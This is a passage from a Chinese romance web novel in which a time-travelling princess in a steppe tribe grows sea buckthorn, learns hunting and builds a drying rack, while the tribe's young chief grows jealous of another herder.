“公主,那是洗衣池,”杏儿看见她们的反应火又从心里冒了出来,故意提高声音刺激道:“不过公主的衣裳自然是不用自己洗。”
沈疏禾见状有些无奈地笑了笑,轻轻按住杏儿的手腕,朝那些妇女礼貌地点头致意。一直到两人走远后才低声道:“其实不必这样的杏儿,她们也是和我们不熟悉,以后熟悉了也许就好了。”
“可她们昨天还说——”杏儿依旧忿忿不平,有些不满地想继续说。
“嘴巴长在别人身上,我们管不着的。”沈疏禾弯腰摘下一朵蓝色野花,别在杏儿鬓边,“但我们的耳朵长在自己身上,不好听的话那我们就不听,没人能让我们不高兴。”
杏儿摸着鬓角的花思考了片刻之后说:“公主您说的对!”
正午时分,她们来到了部落边缘的炊事区。几个厨娘正在准备午膳,看见沈疏禾时明显慌乱起来。
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“公主您怎么来了?”她们其中为首的胖妇人草草行礼,铁勺在锅里搅得叮当响。
沈疏禾对此不以为意,反而走近灶台:“这是在做什么?味道闻上去似乎很香。”
“回公主,这是我们草原上的羊肉焖饼。”妇人有些不自然地回答,眼神飘忽不定。
沈疏禾仔细看着她的做法,忽然挽起袖子:“那请问可否让我试试翻饼?”
在场所有人都愣住了。杏儿急忙拉住她:“公主,这儿油烟会熏着您.…..”
“无妨,我在宫里常给母后做点心。”沈疏禾已经接过长勺,动作娴熟地掀起金黄的饼子,“现在的火候刚好呢。”
厨娘们面面相觑,在一旁等待着沈疏禾之后能做出个什么名堂来。
没过多久,新鲜的饼子就出了炉,沈疏禾从锅里铲出几个给一盘的厨娘和杏儿尝味道。
众人迟疑地接过饼子,只见那饼面金黄酥脆,边缘微微翘起,散发出诱人的焦香。杏儿小心翼翼地咬了一口,顿时瞪圆了眼睛:“公主,这饼子比我吃过的所有都要松软酥脆!”
旁边一众的厨娘闻言也都纷纷品尝,顿时发出一片惊叹。
原本的那名胖妇人突然红了脸:“公主的手真巧.…..”
“是啊,我做这饼子多少年也没吃过这等极佳的饼子,公主可否日后有时间了也把烧制的方法教与我们?”
沈疏禾笑了笑淡声回答:“自是可以的,等过几日我有时间,我便一个个教过去。
眼看着时间越来越晚,沈疏禾和杏儿一同往回走着。突然有几个孩童追逐打闹着从她们身边跑过。其中一个不小心撞到沈疏禾身上,吓得呆立当场。
“你摔疼了吗?”沈疏禾蹲下身,替他拍去膝盖上的草屑。
孩子很快摇摇头,又突然从口袋里掏出一把野莓塞给她,然后飞快地跑走了。杏儿噗嗤一笑:“这是草原孩子表示喜欢的方式呢!”
沈疏禾也温柔地一笑,没想到草原上的孩子也会这么腼腆。
夕阳西沉时,她们登上了部落旁的小土坡。沈疏禾望着眼前铺展的草原,忽然轻声道:“杏儿你看,这里和我们南朝的山水很不一样吧?”
杏儿顺着她的目光望去,只见无边的草浪在风中起伏,远处牧人的歌声随着炊烟袅袅升起。
“但公主您不生气吗?”杏儿憋了一整天的话终于问出口,“那些人那样说您.…..”
沈疏禾将掌心里的野莓分给杏儿一半:“你看这草原,大风永远吹不倒贴地生长的草。而有些话,就像风一样。”
她指向远处正在驱赶羊群的牧民:“总有一天,他们会像那个孩子一样,把野莓而不是闲话递到我手里。”
夜幕降临,帐外传来悠扬的马头琴声。沈疏禾点亮油灯,发现杏儿已经为她铺好了床榻。小侍女眼睛亮晶晶的:“明天我带您去看赛马会好吗?”
“好啊。”沈疏禾解开束发的丝带,忽然听见帐外有细碎的脚步声。掀开帘子,发现门口放着一个小陶罐,里面盛着新鲜的羊奶。
杏儿惊喜地捧起来:“这是厨娘们送来的!”
沈疏禾望着陶罐上有些歪歪扭扭的莲花纹样,唇角微微扬起。
草原上的夜晚,似乎也没那么寒冷。
8. 猎物
“沈疏禾还没睡醒?”
“还没有,但是公主应该很快就要醒了。”
“她昨天在做什么?”
“公主昨日让我带她去熟悉一下草原的环境,我们…….”
沈疏禾在帐子里听到帐子外隐隐约约有对话的声音,迷迷糊糊伸了个懒腰然后睁开了眼。
帐子外的两人还在继续对话,她有些好奇地穿上了衣裳放轻脚步向帐子的门口走去,却听见两人的对话声突然停了下来。
沈疏禾更疑惑了,她正想更凑近帘帐一些,却突然看见帘帐被掀开,于是她和杏儿面面相觑。
“公主,你醒啦。但是公主您怎么站在帘帐这里,是要出去吗?”杏儿奇怪地问道。
“咳,那个我之前束发的丝带我找不到了,杏儿你能帮我找一下吗?”沈疏禾瞥了一眼正好整以暇双手怀抱在胸前的人呼延律有些尴尬,随便扯了个理由。
“噢,原来是这样啊。”杏儿没有怀疑,走进帐子里去帮沈疏禾找“消失”的丝带。
“睡醒了?”呼延律嗓音低沉,语气了还带着些并不明显的笑意。
“不明显么,呼延少主大清早就站在我帐外,可是有什么事?”沈疏禾反问道。
“我只是来给你提个醒,你是不是把你的沙棘田给忘干净了?”呼延律挑了挑眉问。
沈疏禾自是没忘,她本来就打算今早去看沙棘地,没想到正好碰上了呼延律。
“自然没忘,就不必呼延少主费心提醒了。”沈疏禾转身回到帐子里洗漱。
呼延律站在帐子的门口并未离开,反而逗弄起了门口旁边蜷缩着的灰耳,看上去并没有离开的打算。
“呼延少主这是还有别的事要吩咐!”沈疏禾赶人的言外之意十分明显。
“我今日也要去沙棘地看看成果,顺便带你一道去。”呼延律摸了摸灰耳的头回答。
“不……”沈疏禾还没来得及拒绝拒绝呼延律有些锐利的双眸对上视线,于是后面的话被她生生咽了下去,尬笑了几声说:“那多谢呼延少主好意了。”
“嗯。”呼延律看似高冷地点了点头。
呼延律骑着白马带沈疏禾来到了盐碱地,远远就看见牧童阿吉蹲在田垄边,正用柳签小心翼翼地拨弄沙棘苗周围的土壤。
“姐姐!”阿吉看见坐在前面的沈疏禾十分兴奋地招手,“你快看苗苗又长高了!”
沈疏禾也笑着摆了摆手,被呼延律扶着下了马然后快步走过去,蹲下身仔细查看沙棘的长势。
三天前种下的沙棘种子已经抽出嫩绿的枝条,虽然只有半尺高,但叶片肥厚,边缘带着细微的锯齿,茎干上还覆着一层淡淡的白色绒毛——这是沙棘已经在逐渐适应干旱的特征。
她用手指轻轻拨开表层的土壤,露出浅层的根系。沙棘的根须已经向四周伸展,细密的根毛上沾着湿润的泥土,说明土壤的保水性比之前好了许多。
“阿吉,你把沙棘养得很好,我们阿吉可真聪明啊。”沈疏禾弯唇一笑,摸了摸阿吉的头对阿吉不吝夸奖道。
“谢谢疏禾姐姐,我之后会更小心地照顾它们的。”阿吉有些腼腆地回答,脸颊时间爬上了红晕。
呼延律皱了皱眉说:“你夸就夸,总是对阿吉动手动脚的做什么,他以后可是要娶草原女子的,你这样他以后还怎么娶妻生子。”
沈疏禾有些无语地看着呼延律,你要不要听听自己到底在说些什么。她不过是摸了摸小孩子的头,怎么说的好像她平白玷污了人家的清白似的。
“没事的少主,疏禾姐姐怎么摸我都没关系。”阿吉立马为沈疏禾说话。
“知道了呼延少主,我下次不摸了。”沈疏禾懒得和呼延律较劲。
她又自习观察了沙棘的生长状况,发现了一些细节上要注意的问题过后又偏过头对阿吉说:“阿吉你看,以后我们在浇水的时候要沿着根部周围慢慢倒,不能直接冲在茎干上。”她一点点示范给阿吉看,“因为沙棘怕涝,水太多反而会烂根。”
阿吉认真点头,从羊皮水囊里倒出清水,学着沈疏禾的样子,让水缓缓渗入土壤。
“我们阿吉真聪明。”沈疏禾看着阿吉有样学样上手很快,十分满意地说着,下意识就想摸摸阿吉圆溜溜的脑袋,却在看到呼延律不满的申请时很快缩了回去。
算了,毕竟他才是草原老大,沈疏禾将识时务者为俊杰贯彻到底。
沈疏禾仔细检查完最后一株沙棘苗,拍了拍手上的泥土站起身来。正午的阳光晒得她脸颊微红,额角也沁出细密的汗珠。
“呼——”沈疏禾轻吐一口气,这些沙棘的长势都还不错,甚至有些好得出乎她的意料。
“看你的表情,这些沙棘应该还不错?”呼延律的声音从身后传来。他不知何时已经牵着他那匹标志性的白马走近,手里还拿着一个皮质水囊递给她:“喝点水吧。”
“那多谢呼延少主了。”沈疏禾对呼延律的体贴有些意外,弯唇笑着道谢,然后仰头喝了一口,清凉的泉水瞬间缓解了那股燥热。
她喝完后擦了擦嘴角,“这些沙棘比我想象中适应得更好,不出半个月应该就能看到花苞了。”
呼延律“嗯”了一声,目光却落在远处的草场上:“我听杏儿说你昨日让她带你去熟悉草原的环境?”
“是啊,我想早点熟悉会方便许多。”沈疏禾点了点头回答。
“感觉如何?”呼延律继续问。
“就还好吧,草原不都一样,也没什么别的感觉。”沈疏禾想了想说。
“那我带你去看点不一样的。”呼延律扬了扬唇说。
“现在?”
“现在。”他已经翻身上马,朝她伸出了手,“带你去猎点晚饭。”
沈疏禾犹豫了一下,还是搭上了他的手。呼延律一用力,她整个人就被拽上了马背,稳稳地落在他身前。
“坐稳了。”他的声音近在耳畔,温热的气息拂过她的发丝。
还没等她反应过来,白马已经飞奔起来。
草原深处
风声在耳边呼啸,沈疏禾不得不往后靠了靠,后背几乎贴上呼延律的胸膛。青草与泥土的气息混着他身上特有的清香的味道,让她莫名感到安心。
“看那边。”呼延律突然勒住缰绳,指着远处的灌木丛。
沈疏禾顺着他的手指望去,看见几只灰褐色的野兔正在啃食草根。
“就它们了。”呼延律的眼神锋利,嘴角微微勾起,就想野兽正在找到了自己要狩猎的猎物。
“嗯?”沈疏禾还没反应过
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来,呼延律就已经解下背上的长弓递给她。
“你是让我自己猎?”沈疏禾接过沉甸甸的长弓,有些无措又慌张:“我……我没射过箭。”
呼延律低笑一声,双臂从她身侧环过,大手覆在她的手上帮她调整姿势:“左手握这里,右手拉弦。”
他的胸膛紧贴着她的后背,说话时胸腔的震动清晰可感。沈疏禾耳尖发烫,却还是按照他的引导拉开弓弦。
“眼睛,准星,猎物,三点一线。”他的声音低沉,“别紧张,放轻松,稳住呼吸。”
沈疏禾屏息凝神,手指一松——
“嗖!”
箭矢破空而去,擦着野兔的耳边钉入土中。受惊的野兔瞬间四散奔逃。
“还差一点。”呼延律的语气里带着笑意,“不过作为第一次,勉强还算不错。”
沈疏禾有些懊恼:“应该再往右偏一些……”
“不急。”呼延律收回长弓,“现在教你个更有意思的方法。”
他忽然从马鞍旁取出一根套索,在手中熟练地转了几圈。远处又出现一只落单的野兔,正警惕地竖起耳朵。
“看好了。”
套索在空中划出优美的弧线,精准地套住了野兔的后腿。呼延律手腕一抖,野兔就被凌空拽了回来,稳稳落在他手中。
“这……”沈疏禾看得目瞪口呆。
呼延律利落地拧断野兔的脖子,将还在抽搐的猎物挂在马鞍上。他看着沈疏禾瞪大眼睛的样子觉得有些可爱,“这么惊讶做什么,在草原上生长的孩子从很小的时候就会这个。”
沈疏禾突然注意到他右手虎口处有一道陈年疤痕:“这个伤疤是怎么弄的?”
“第一次用套索时被绳子勒的。”他漫不经心地回答。
沈疏禾不禁莞尔:“原来我们草原少主也会有失手的时候。”
呼延律轻哼一声,突然催马向前:“抓紧了。”
白马再次飞奔起来,沈疏禾惊呼一声,下意识抱紧了马脖子。呼延律的笑声随风传来,爽朗而肆意。
阳光洒在两人身上,在无垠的草原上投下长长的影子。沈疏禾的发丝被风吹乱,有几缕拂过呼延律的脸颊,带着淡淡的香味,让呼延律突然有些走神。
呼延律忽然放缓了速度:“你要再试试这个吗”
沈疏禾眼睛亮晶晶的:“你是要教我套索吗?”
“嗯。”呼延律挑了挑眉,从腰间解下另一根细绳:“给你用这个,短一些更好控制。”
接下来的时间里,沈疏禾专心练习着套索技巧。呼延律偶尔调整她的动作,手指不经意间擦过她的手腕,引起一阵微妙的战栗。
当夕阳开始西沉时,他们的马鞍上已经挂了四只野兔和一只松鸡。
沈疏禾心满意足地看着一个下午的战利品,心情十分愉悦。呼延律嘴角的那抹淡笑也一直没消失过,“走吧,我带你回去。”
“好。”沈疏禾刚应声呼延律就将她拽上了马,两人又一起骑着马回去。
回程的路上,沈疏禾忽然开口:“谢谢你今天…..教我这些。”
呼延律没有回答,嘴角的弧度却不知不觉扩大。
夕阳将两人的影子拉得很长,在草原上紧紧依偎在一起,显得暧昧又温馨。
9. 你不懂
夕阳西沉,天边最后一抹金红色渐渐被深蓝吞噬。沈疏禾和呼延律并排骑马返回部落,马蹄踏过柔软的草地,发出轻微的沙沙声。
“今天收获不错。”沈疏禾看着马鞍上挂着的几只野兔和松鸡,满意地点点头,“看来今晚可以加餐了。”
呼延律侧目看她一眼,唇角微不可察地扬了扬:“你倒是适应地还不错。”
沈疏禾笑了笑,没接话。她确实适应得不错——草原的风、草原的云,甚至草原上干燥的空气,都比她想象中更让人放松。
远处,部落的轮廓渐渐清晰。营地里已经点起了篝火,橙红色的火光在暮色中跳动,远远就能听到牧民们的谈笑声。
“少主回来了!”几个年轻牧民迎上来,笑嘻嘻地接过猎物。其中一个浓眉大眼的青年——巴图,眼睛亮晶晶地看着沈疏禾:“公主今天气色真好,草原的风果然养人。”
沈疏禾看着杏儿口中的常客眉梢微挑。礼貌地笑了笑回答:“谢谢。”
呼延律翻身下马,顺手扶了她一把,语气淡淡:“巴图,你去把猎物处理了。”
“是是是——”巴图拖长了音调应着,却朝沈疏禾眨了眨眼,“公主待会儿要不要尝尝我的手艺?”
沈疏禾刚要答应,呼延律已经冷着脸打断:“还不快去,在这儿废什么话。”
巴图挠了挠头,有些讪讪地走了。沈疏禾疑惑地看了呼延律一眼,后者却已经转身大步走向篝火,只给她留下了一个背影。
篝火旁,牧民们三三两两围坐,烤肉的香气弥漫在空气中。沈疏禾找了个空位坐下,杏儿立刻递给她一块生兔肉:“公主,您试试烤烤?”
“好啊。”沈疏禾接过肉,用木签串好,架在火上慢慢翻烤。她的动作很稳,手指灵活地转动木签,时不时撒一点放在身边的香料。
巴图却不知何时又凑了过来,蹲在她身边笑道:“公主这手法很专业啊。”
“以前学过一点。”沈疏禾头也不抬,专注地盯着火候,中间隔着沈疏禾的的杏儿倒是嘟囔着说:“那是,我们公主样样都精通,哪像你一样什么都要别人做!”
“嘿……我说你这个小丫头怎么伶牙俐齿的一天天就和我抬杠……”巴图和杏儿你一句我一句地争了起来,都互不相让好似势必要争个输赢。
呼延律坐在不远处,手里捏着酒囊,目光时不时扫过来。看到巴图越来越靠近沈疏禾身边的样子,他眯了眯眼,手里的酒囊被捏得微微变形。
“少主?”旁边的老牧民疑惑地看着他。
呼延律收回视线,面无表情地淡声开口:“继续说今年的牧草。”
沈疏禾的兔肉烤得金黄酥脆,撒上香料后,香气瞬间吸引了周围人的注意。她掰下一小块尝了尝,满足地眯眼心情十分愉悦。
“杏儿,你尝尝这个好不好吃。”沈疏禾先递给了杏儿一块。
“公主我也要!”巴图也连忙凑到一边说。
“好,给你这块。”沈疏禾也递给了巴图一块。
巴图接过来咬了一大口,眼睛顿时瞪圆:“公主,您这手艺比我们草原最好的厨子还棒!”
他的声音很大,引得周围人都看过来。几个年轻牧民立刻围上来:“公主,也给我们几个尝尝呗。”
沈疏禾笑着把肉分给大家,完全没注意到篝火另一侧,呼延律的脸色越来越黑。
“少主您不吃吗?”一个牧民问道。
呼延律冷哼一声:“不饿。”
话音刚落,他的肚子就不争气地叫了一声。
争抢的人群渐渐散开,沈疏禾终于注意到孤零零坐在一旁的呼延律。她拿了一块烤得最好的肉走过去:“你也一起尝尝?”
呼延律抬眼看了看她,又看了看她手里的肉,慢吞吞地接过来咬了一口。
“你觉得怎么样?”沈疏禾期待地问。
“一般。”他面无表情地说,却三两口就把肉吃完了。
沈疏禾挑眉:“那你还吃这么快?”
“饿了。”呼延律别过脸,又补充一句,“勉强比巴图烤的好吃点。”
沈疏禾忍不住笑了:“那我再去烤一些?”
“嗯。”呼延律应了一声,看着她转身离开,嘴角微不可察地翘了翘。
巴图不知何时又凑到了沈疏禾身边:“公主,我来帮您扇火吧?”
不等沈疏禾回答,一柄匕首突然“嗖”地插在他们面前的木桩上,刀柄还在微微颤动。
两人同时回头,呼延律不知何时已经站在身后,脸色阴沉:“巴图,去把东边的羊群赶回来。”
“现在?”巴图瞪大眼睛,“天都黑了……”
“现在。”呼延律的声音不容置疑。
巴图委屈地看了沈疏禾一眼,悻悻地走了。
沈疏禾疑惑地看着呼延律:“怎么了?”
“他这几天偷懒,也该给他点教训。”呼延律面不改色地在她旁边坐下,“我帮你烤。”
酒过三巡,篝火旁的气氛愈发热闹。牧民们弹起胡琴,几个姑娘拉着杏儿跳起了舞。
“公主您也快过来和我们一起!”杏儿朝沈疏禾招手。
沈疏禾刚要起身,巴图不知从哪里冒出来,朝她伸出手:“公主,我教您草原的舞步!”
“你能不能离我们公主远一点,总缠着我们公主做什么……”杏儿皱眉说着。
“我这不是看公主不熟悉好让公主快点熟悉这里的环境嘛,是吧公主。”巴图笑眯眯地看着沈疏禾。
“没事的杏儿,巴图也没有恶意,让他教我跳舞也行。”沈疏禾觉得巴图还算是挺热情的,也没有什么恶意,于是准备答应。
不远处呼延律的眼神却瞬间冷了下来。
沈疏禾正要搭上巴图的手,突然被一股力道拽住手腕。呼延律不知何时已经站在她身侧,声音低沉:“我来教你。”然后他眼神锋利地看向巴图,眉宇微敛。
巴图突然有些胆寒。讪讪地收回手:“那…….那我先去喝酒。”
沈疏禾还没反应过来,就被呼延律带进了舞圈。胡琴的节奏忽然加快,牧民们围成圈拍手跺脚。呼延律一手托着她的后腰,一手握着她的手腕,带着她旋转。
“跟着我的步子。”他的声音近在耳畔。
沈疏禾有些慌乱地踩了他一脚:“不好意思啊,我不太会跳…..”
“没事。”呼延律的声音出乎意料地温和,“慢慢来。”
他的手掌温暖有力,稳稳地引导着她。沈疏禾渐渐跟上节奏,裙摆随着旋转飞扬。她跳得太过投
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入,没注意到呼延律的目光一直落在她的脸上……
夜深时,篝火渐弱,牧民们三三两两散去。沈疏禾坐在一旁揉着酸痛的脚踝,呼延律不知从哪拿来一碗酸酪递给她。
“喝点,可以解酒。”
“谢谢。”沈疏禾接过来小口啜饮,忽然想到什么,“对了,巴图呢?不是说去赶羊?怎么一直没回来?”
呼延律面不改色:“可能直接回帐子里去了。”
“哦,难怪我说他怎么一直就没回来。”沈疏禾点点头。
呼延律没再回答,站起身对沈疏禾说:“走吧,我送你回去。”
走到沈疏禾的帐子前,两人意外地发现巴图正等在那里,手里还捧着一束野花。
“公主!”巴图兴奋地跑过来,“您回来啦,你有没有…..”
他的话戛然而止,因为呼延律已经挡在了沈疏禾面前,眼神冷得吓人。
“巴图。”呼延律的声音很轻,却让巴图打了个寒颤,"我记得让你去赶羊?"
“我……我赶完了……”巴图结结巴巴地说,手里的花不自觉地往后藏了藏。
呼延律眯起眼睛:“那现在去把马厩打扫了。”
“现在?”巴图哀嚎,“都这么晚了…..”
“现在。”
沈疏禾听着似曾相识的对话有些想笑,巴图再次垂头丧气地离开,临走前把花塞给沈疏禾准备说些什么却被呼延律一脚踹开,然后落荒而逃。
沈疏禾捧着花,有些哭笑不得:“呼延少主,你是不是对巴图太严厉了?”
“他活该。”呼延律盯着那束花看了几秒,突然伸手抽走:“夜里凉,花会冻坏。我帮你保管。”
不等沈疏禾反应,他已经将花抽走转身大步离开,“奇怪。”沈疏禾在原地有些不解地皱了皱眉。
回到自己的帐子,呼延律盯着手里的野花看了许久。
“幼稚。”他自言自语,却找了个陶罐把花小心地插好,摆在案几上。
想了想,又觉得不妥,把花挪到了床头。
还是不满意,最后把花放到了帐子最里侧的柜子上。
做完这一切,他坐在床沿,想起沈疏禾烤肉时专注的侧脸,跳舞时飞扬的裙摆,还有接过花时惊讶的表情。
心里忽然涌起一股莫名的烦躁。
“不过是个中原公主……”他低声说,却忍不住又看了眼那束花。
第二天一早,沈疏禾刚走出帐子,就看到呼延律站在不远处,手里拿着一大把新鲜的沙棘枝,上面还挂着晶莹的露珠。
“给你的。”他把沙棘枝递过来,语气生硬,“比野花实用。”
沈疏禾接过,发现每一根枝条都经过精心修剪,没有一根刺。她抬头,正想说谢谢,却发现呼延律已经大步离开。
这人怎么奇奇怪怪的,沈疏禾对他的举动完全摸不着头脑。
马厩里,巴图一边刷马一边小声嘟囔:“奇怪,少主最近怎么老找我麻烦……”
旁边的老牧民哈哈大笑:“傻小子,你没看出来吗?少主那是……”
“是什么啊?”巴图充满求知欲地问。
老牧民神秘地摇摇头:“等你再长大点就懂了。”
巴图挠挠头,更加困惑了。
10. 帅小伙
草原的雨季总是来得猝不及防。
沈疏禾坐在帐前的小木凳上,托着下巴望向灰蒙蒙的天空。细密的雨丝已经连续下了五天,将整个草原浸泡在一片湿漉漉的潮气中。她今天穿了件湖蓝色的窄袖胡服——这是她按照现代运动服的样式改良的,腰间系着银线绣花的腰带,衬得腰肢格外纤细。一头乌黑的长发只用一根素银簪松松挽着,几缕不听话的碎发被雨水打湿,正贴在她白皙的脸颊边。
“这要是在现代……”她小声嘀咕着,伸手摸了摸挂在帐外已经晾了三天却依然能拧出水的皮靴,“烘干机两小时就能搞定,再不济还有吹风机,怎么也不会让衣服这么久都不干,要是再继续这样恐怕都快有味儿了…..”
“公主,您刚刚说什么?”杏儿抱着一摞被雨水浸得发沉的毛毡走过来,圆圆的脸上满是愁容。
“没什么。”沈疏禾站起身,习惯性地拍了拍裙摆上并不存在的灰尘。她环顾了草原的四周,发现不仅仅是自己的情况是这样,整个部落似乎都被这场阴雨困扰着。
牧民们的皮靴和毛毡帐篷因为连日阴雨已经开始发霉,储存的肉干也泛着一层可疑的白色绒毛。几个半大的孩子赤着脚在泥泞中跑来跑去,脚趾缝里全是黑乎乎的泥水。女人们围在几堆冒着浓烟的篝火旁,正试图烤干衣物,但潮湿的木柴让火势始终旺不起来,皮靴和衣裳都以及还是湿漉漉的样子。
不远处,呼延律正和几个老牧民说着什么。他今天穿了件深褐色的皮甲,宽肩窄腰的身形在雨中显得格外挺拔。雨水顺着他的下颌线滑落,滑到那凸起的喉结上,最后没入衣领深处。似乎是察觉到视线,他突然转头,那双锐利的鹰眸直直地看向沈疏禾。
沈疏禾弯唇一笑,向呼延律打了个招呼,呼延律点了点头又很快收回了目光,反而变得有些心虚。
午后雨势稍缓,沈疏禾蹲在帐前的空地上,正专心致志地搭建她一时兴起想到的“现代烘干装置”。
为了方便干活,她直接把袖子挽到了手肘以上,露出一截纤细白皙的手臂。阳光透过云层,照在她的脸上,显得温柔又有些美好。
“公主,您这样……怕是不太合规矩吧?”杏儿抱着几根木棍走过来,小声提醒道。
“啊?”沈疏禾一脸茫然地抬头,“怎么了吗,是有那里不对吗?”
“您这个胳膊,露出来恐怕不太好吧。”杏儿有些小心地提醒道。
“哈哈,杏儿你是不是担心太多了,就露个胳膊而已,没事儿的。”沈疏禾噗嗤一笑,并不以为意。
杏儿有些犹豫,眉头微皱想了想还是继续说:“但是公主,这样还是有些不合礼数吧。”
“真的没关系的杏儿,那草原上的男人热了还脱光了上衣呢,他们怎么就合礼数了?”沈疏禾拍了拍杏儿的肩反驳道。
“可是他们是男人啊,男子和女子是不一样的。”杏儿并不理解沈疏禾将男子和女子放在一起比较的说法。
“男子和女子哪里不一样了?”沈疏禾反问。
“嗯……”杏儿一时间反驳不出来,沈疏禾见状笑着继续说:“好了杏儿,不想这个了,我继续干活喽。”
沈疏禾正说着就突然见有一道黑影出现在面前,然后就看到前不久才在篝火晚会上见到的巴图。
“巴图?你怎么来了?”沈疏禾有些疑惑地问道。
“当然是来烦人的!”杏儿见到巴图立刻横眉冷对,语气十分不客气。
“你这个小丫头怎么总是看我不顺眼,我也没怎么得罪你啊。”巴图看似无辜地耸了耸肩。
“巴图你看上去也没多大,怎么总叫我们杏儿小丫头啊。”沈疏禾弯了弯眼有些好笑地说。
“谁知道他,莫名其妙的一天天的。”杏儿撇了撇嘴说。
“诶……”
沈疏禾见两人又快呛起来,笑了笑然后对巴图说:“你们俩就别斗嘴了,巴图,你来帮我扶一下这个架子。”
“好嘞疏禾姐姐。”巴图嘴甜地回应。
“嗯,真乖。”沈疏禾习惯性摸了摸巴图的头,巴图瞬间僵硬在原地,旁边的杏儿看得目瞪口呆。
“公……公主,您…..”杏儿有些磕磕绊绊地说。
“怎么了?”沈疏禾有些奇怪。
“没…..没怎么。”杏儿掩下惊讶。
“噢,没事儿就行。”沈疏禾点点头,继续指挥巴图干活。
她没注意到,不远处的呼延律看到这一幕时,手中的马鞭“啪”地一声抽在地上,吓得几个正在干活的牧民一哆嗦。
“少主您这是怎么了?”老牧民阿古拉疑惑地问。
呼延律黑着脸没有回答,目光死死盯着沈疏禾刚刚摸了巴图头的那只手。
沈疏禾的烘干架很快就搭建完成了。
她用三根粗木棍搭出一个三角支架,再用麻绳牢牢固定,然后在支架内侧横着绑了几根细木棍,最后铺上一层细密的草席。整个装置看起来简单却精巧,引得不少牧民驻足围观。
“公主,您这是要做什么?”巴图好奇地蹲在她旁边,眼睛瞪得圆圆的。
“这是烘干架。”沈疏禾头也不抬,手上动作不停,“把湿的东西挂在里面,下面生一小堆火,热气会慢慢把东西烘干,比直接的作用大一些。”
她边说边把自己的皮靴挂在支架内侧,又在下方生了一小堆火。火势不大,但热气很快升腾起来,透过草席的缝隙,均匀地烘烤着靴子。
周围的牧民开始窃窃私语:“这能行吗?”
“中原人的玩意儿,花里胡哨的……”
“我看悬,还不如直接烤呢。”
沈疏禾对这些议论充耳不闻,只是专注地调整着火势。到了傍晚,当她的靴子已经干透可以穿着走路时,而其他人的靴子还在滴着水。
“真的有用!”巴图兴奋地大喊,抓起自己的靴子就往支架上挂,“公主,您能教教我吗?”
很快,整个营地都竖起了类似的烘干架。老牧民阿古拉摸着自己干爽的毛毡,满脸不可思议:“没想到这中原的法子……还真管用。”
呼延律站在人群外围,目光沉沉地看着被簇拥的沈疏禾。她正耐心地给几个妇人讲解要点,阳光透过云层洒在她身上,给她镀上一层柔和的金边。有那么一瞬间,呼延律觉得心跳似乎漏了一拍。
“……花里胡哨。”他低声评价道,却悄悄记下了烘干架的结构。
夜深人静时,沈疏禾被一阵轻微的响动惊醒。
她迷迷糊糊地睁开眼,听到帐外有窸窸窣窣的声音,像是有人在翻动什么东西。
——该不会是野兽吧?
沈疏禾心下一惊,轻手轻脚地掀开帐帘,借着月光,看到一道高大的身影正蹲在她的烘干架前,伸手仔细摸索着支架的结构。
——是呼延…..律?!
他背对着她,动作很轻,似乎怕吵醒她。月光勾勒出他宽阔的肩膀线条,雨水打湿的衣袍紧贴在背上,隐约能看到肌肉的轮廓。他低着头,浓密的睫毛在脸上投下一片阴影,薄唇微抿,神情十分专注。
沈疏禾差点笑出声,赶紧捂住嘴。
呼延律似乎察觉到视线,猛地回头,正好对上她促狭的目光。
两人四目相对,空气瞬间凝固。
“我就是来检查这个东西是否安全,你不要想太多。”他冷着脸站起身,声音硬邦邦的。
“这样啊,”沈疏禾挑眉,故意拖长音调,“那少主检查出什么问题了吗?”
呼延律沉默两秒,硬邦邦道:“没有。”
“那呼延少主可还有事?”沈疏禾双手环抱在胸前问道,大半夜在她帐子门口可不太好。
“没有,我回去了。”说完他大步离开,沈疏禾莫名从他的脚步里感受到了落荒而逃的
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意味。
次日,沈疏禾又盯上了部落里开始发酸的肉干。
“这样放下去会全都坏掉的。”她蹲在储存食物的帐篷里,拿起一块肉干闻了闻,眉头紧皱。
“公主,您这是要做什么?”杏儿跟在她身后,好奇地问。
“腌肉。”沈疏禾找来粗盐和干净的石板,把肉切成薄片,一层盐一层肉地压紧,“这样能保存更久。”
杏儿凑过来闻了闻,被咸得直吐舌头:“公主,这样还能吃吗?”
“等晒干了你就知道了。”沈疏禾神秘地笑了笑。
呼延律远远地看着,这次没再评价,只是当晚,牧民们发现少主的帐前也多了几个腌肉的罐子。
起初,部落里有些人对沈疏禾的到来并不欢迎。“中原女子,能懂什么?”老牧民阿古拉曾不屑地哼道,“不过是来添乱的。”
可如今,阿古拉却蹲在沈疏禾的烘干架前,小心翼翼地摸了摸已经干透的毛毡,眼中满是惊讶。
“这…..居然这真的管用。”他喃喃道。
沈疏禾走过来,递给他一块刚腌好的肉干:“您尝尝这个?”
阿古拉犹豫了一下,还是接了过来。他咬了一口,眼睛顿时瞪大:“这味道……比我们原来的肉干还要香!”
周围的牧民纷纷围上来,争相品尝。
“公主,您真是太厉害了!”
“是啊,我们以前怎么没想到呢?”
沈疏禾笑了笑,目光不经意间扫过站在远处的呼延律。他依旧冷着一张脸,但眼中却闪过一丝赞赏。
沈疏禾忙了一整日和那些草原上的厨娘交流经验,身上也沾染了不少咸腥的味道,于是夜晚独自在河边洗头发。
她弯着腰,长发垂落水中,哼着现代的流行歌曲。月光洒在水面上,映出她姣好的侧脸轮廓。
呼延律路过时猛地停住脚步,喉结不自觉地滚动。月光下,她纤细的脖颈像白玉一样莹润,水珠顺着锁骨滑进衣领…..
“少主?”沈疏禾看见呼延律抬了抬头,双眼弯弯笑着看向呼延律,呼延律见她湿漉漉的眼睛满含笑意然后开口对他说:“你是要来打水吗?”
“……”
呼延律僵在原地,耳尖以肉眼可见的速度变红。他仓皇转身,一瞬间大脑有些发白,连最后自己是怎么回的帐子里都有些记不清了。
“奇怪?他怎么老这样自顾自就走了。”沈疏禾有些疑惑。
呼延律回到帐中有些烦躁地拿起桌上的马奶酒喝了起来,却怎么都忘不掉满脑子那些关于沈疏禾湿发回眸的画面。
最后他有些暴躁地将酒囊扔到一边,无奈地叹了口气,似乎有些认命。
第二天清晨,沈疏禾伸着懒腰走出帐篷,正好撞见晨练回来的呼延律。
他赤裸着上身,汗珠顺着结实的腹肌滑入裤腰,冷白的皮肤在晨光中格外显眼,看得沈疏禾都忍不住为止惊叹。
“哇哦…..”沈疏禾下意识吹了声口哨,现代人的习惯脱口而出,“身材不错嘛帅小伙。”
呼延律瞬间石化。
“你…..你……”他你了半天说不出话,最后憋出一句:“不知羞耻!”然后有些不自然地转身离开。
沈疏禾一脸莫名其妙:“我夸他还有错了?”
不过她最近忙着教部落里的子民干活,并没有空去猜呼延律这些反常的行为。
没过几天,部落里的气氛明显变了。
